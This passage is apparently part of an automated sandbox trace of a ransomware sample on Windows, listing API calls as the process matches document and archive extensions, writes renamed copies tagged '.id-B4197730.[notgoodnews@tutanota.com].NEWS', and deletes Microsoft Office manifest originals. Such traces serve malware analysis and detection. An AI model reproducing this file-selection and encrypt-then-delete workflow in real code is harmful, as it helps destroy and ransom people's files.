(lpString=".1cd") returned 4 [0068.636] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0068.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0068.636] lstrlenW (lpString=".jpg") returned 4 [0068.636] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0068.636] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.636] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0068.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.637] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1261) returned 1 [0068.637] CloseHandle (hObject=0x348) returned 1 [0068.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0068.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.638] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.638] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0068.638] GetLastError () returned 0x0 [0068.638] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0068.640] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0068.640] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.641] SetEndOfFile (hFile=0x344) returned 1 [0068.641] CloseHandle (hObject=0x344) returned 1 [0068.642] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.642] SetEndOfFile (hFile=0x348) returned 1 [0068.643] CloseHandle (hObject=0x348) returned 1 [0068.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0068.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.643] lstrlenW (lpString=".doc") returned 4 [0068.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.643] lstrlenW (lpString=".docx") returned 5 [0068.643] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.643] lstrlenW (lpString=".pdf") returned 4 [0068.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.643] lstrlenW (lpString=".xls") returned 4 [0068.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".xlsx") returned 5 [0068.644] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.644] lstrlenW (lpString=".ppt") returned 4 [0068.644] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString=".zip") returned 4 [0068.644] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.644] lstrlenW (lpString=".rar") returned 4 [0068.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".bz2") returned 4 [0068.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".7z") returned 3 [0068.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString=".dbf") returned 4 [0068.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString=".1cd") returned 4 [0068.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString=".jpg") returned 4 [0068.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.644] lstrlenW (lpString=".doc") returned 4 [0068.644] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".docx") returned 5 [0068.644] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.644] lstrlenW (lpString=".pdf") returned 4 [0068.644] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".xls") returned 4 [0068.644] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.644] lstrlenW (lpString=".xlsx") returned 5 [0068.644] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.645] lstrlenW (lpString=".ppt") returned 4 [0068.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.645] lstrlenW (lpString=".zip") returned 4 [0068.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.645] lstrlenW (lpString=".rar") returned 4 [0068.645] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.645] lstrlenW (lpString=".bz2") returned 4 [0068.645] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.645] lstrlenW (lpString=".7z") returned 3 [0068.645] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.645] lstrlenW (lpString=".dbf") returned 4 [0068.645] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.645] lstrlenW (lpString=".1cd") returned 4 [0068.645] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0068.645] lstrlenW (lpString=".jpg") returned 4 [0068.645] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.645] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.645] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0068.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.646] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=253712) returned 1 [0068.646] CloseHandle (hObject=0x348) returned 1 [0068.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0068.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0068.646] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.646] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0068.647] GetLastError () returned 0x0 [0068.647] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3df10, lpOverlapped=0x0) returned 1 [0068.653] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0068.658] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.658] WriteFile (in: hFile=0x344, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.658] SetEndOfFile (hFile=0x344) returned 1 [0068.658] CloseHandle (hObject=0x344) returned 1 [0068.664] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.664] SetEndOfFile (hFile=0x348) returned 1 [0068.667] CloseHandle (hObject=0x348) returned 1 [0068.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0069.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.224] lstrlenW (lpString=".doc") returned 4 [0069.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString=".docx") returned 5 [0069.224] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.224] lstrlenW (lpString=".pdf") returned 4 [0069.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString=".xls") returned 4 [0069.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString=".xlsx") returned 5 [0069.224] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.224] lstrlenW (lpString=".ppt") returned 4 [0069.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.224] lstrlenW (lpString=".zip") returned 4 [0069.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.224] lstrlenW (lpString=".rar") returned 4 [0069.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString=".bz2") returned 4 [0069.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.224] lstrlenW (lpString=".7z") returned 3 [0069.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.224] lstrlenW (lpString=".dbf") returned 4 [0069.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString=".1cd") returned 4 [0069.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString=".jpg") returned 4 [0069.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString=".doc") returned 4 [0069.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString=".docx") returned 5 [0069.225] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.225] lstrlenW (lpString=".pdf") returned 4 [0069.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString=".xls") returned 4 [0069.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString=".xlsx") returned 5 [0069.225] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.225] lstrlenW (lpString=".ppt") returned 4 [0069.225] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString=".zip") returned 4 [0069.225] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.225] lstrlenW (lpString=".rar") returned 4 [0069.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString=".bz2") returned 4 [0069.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString=".7z") returned 3 [0069.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.225] lstrlenW (lpString=".dbf") returned 4 [0069.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.226] lstrlenW (lpString=".1cd") returned 4 [0069.226] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0069.226] lstrlenW (lpString=".jpg") returned 4 [0069.226] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.226] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.226] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0069.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0069.227] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19451) returned 1 [0069.227] CloseHandle (hObject=0x2c4) returned 1 [0069.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0069.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0069.227] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.227] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0069.227] GetLastError () returned 0x0 [0069.227] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0069.229] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4c00, lpOverlapped=0x0) returned 1 [0069.230] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0069.231] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x13e, lpOverlapped=0x0) returned 1 [0069.231] SetEndOfFile (hFile=0x37c) returned 1 [0069.231] CloseHandle (hObject=0x37c) returned 1 [0069.232] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.232] SetEndOfFile (hFile=0x2c4) returned 1 [0069.233] CloseHandle (hObject=0x2c4) returned 1 [0069.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0069.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.234] lstrlenW (lpString=".doc") returned 4 [0069.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString=".docx") returned 5 [0069.234] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.234] lstrlenW (lpString=".pdf") returned 4 [0069.234] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString=".xls") returned 4 [0069.234] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString=".xlsx") returned 5 [0069.234] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.234] lstrlenW (lpString=".ppt") returned 4 [0069.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.234] lstrlenW (lpString=".zip") returned 4 [0069.234] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.234] lstrlenW (lpString=".rar") returned 4 [0069.234] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString=".bz2") returned 4 [0069.234] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.234] lstrlenW (lpString=".7z") returned 3 [0069.234] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".dbf") returned 4 [0069.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".1cd") returned 4 [0069.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".jpg") returned 4 [0069.235] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0069.235] lstrlenW (lpString=".doc") returned 4 [0069.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString=".docx") returned 5 [0069.235] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.235] lstrlenW (lpString=".pdf") returned 4 [0069.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.235] lstrlenW (lpString=".xls") returned 4 [0069.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned 